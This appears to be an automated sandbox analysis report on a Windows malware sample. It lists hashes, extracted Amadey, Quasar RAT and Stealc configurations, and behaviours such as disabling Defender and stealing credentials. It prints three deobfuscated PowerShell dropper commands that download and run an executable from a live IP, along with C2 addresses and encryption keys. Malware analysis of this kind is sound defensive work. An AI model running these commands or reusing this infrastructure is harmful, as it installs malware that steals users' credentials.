General

  • Target

    a910f73ee1f155ed585016e76cf5532c.exe

  • Size

    1.8MB

  • Sample

    250325-g43bgsstdx

  • MD5

    a910f73ee1f155ed585016e76cf5532c

  • SHA1

    6da4a841d64bf75c15e0c2dd0a34fd6b1d2b6411

  • SHA256

    fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8

  • SHA512

    969e9fb7d3d33efeaee3f6f14374134e175848174efb4f2a3859bc46fd91ba7fc5ec75c5f003674d3922da388a3b62d6e326e338f9f622247d7d255a53a3ee32

  • SSDEEP

    49152:HNGOCYrWWlIYr8RbY4ThJYh3xMETJrnkSRIw4qd/O:IgZG1M3xPJ7kqwqd/O

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "XKLGUPFOTEFVJXBAC604U6FUC1FAKX6O.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "DBNXE59JZ50XPYVRZOUKC14DZOYZH4OC.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

TELEGRAM

C2

212.56.35.232:101

Mutex

QSR_MUTEX_LoEArEgGuZRG2bQs0E

Attributes
  • encryption_key

    3wNfBQLmJMIJoFOXueXK

  • install_name

    svchost.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    svchosta

  • subdirectory

    media

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Targets

    • Target

      a910f73ee1f155ed585016e76cf5532c.exe

    • Size

      1.8MB

    • MD5

      a910f73ee1f155ed585016e76cf5532c

    • SHA1

      6da4a841d64bf75c15e0c2dd0a34fd6b1d2b6411

    • SHA256

      fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8

    • SHA512

      969e9fb7d3d33efeaee3f6f14374134e175848174efb4f2a3859bc46fd91ba7fc5ec75c5f003674d3922da388a3b62d6e326e338f9f622247d7d255a53a3ee32

    • SSDEEP

      49152:HNGOCYrWWlIYr8RbY4ThJYh3xMETJrnkSRIw4qd/O:IgZG1M3xPJ7kqwqd/O

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detects Healer an antivirus disabler dropper

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Modifies Windows Defender DisableAntiSpyware settings

    • Modifies Windows Defender Real-time Protection settings

    • Modifies Windows Defender TamperProtection settings

    • Modifies Windows Defender notification settings

    • Quasar RAT

      Quasar is an open source Remote Access Tool.

    • Quasar family

    • Quasar payload

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • Suspicious use of NtCreateUserProcessOtherParentProcess

    • Contacts a large (8709) amount of remote hosts

      This may indicate a network scan to discover remotely running services.

    • Creates a large amount of network flows

      This may indicate a network scan to discover remotely running services.

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Downloads MZ/PE file

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Deletes itself

    • Drops startup file

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Windows security modification

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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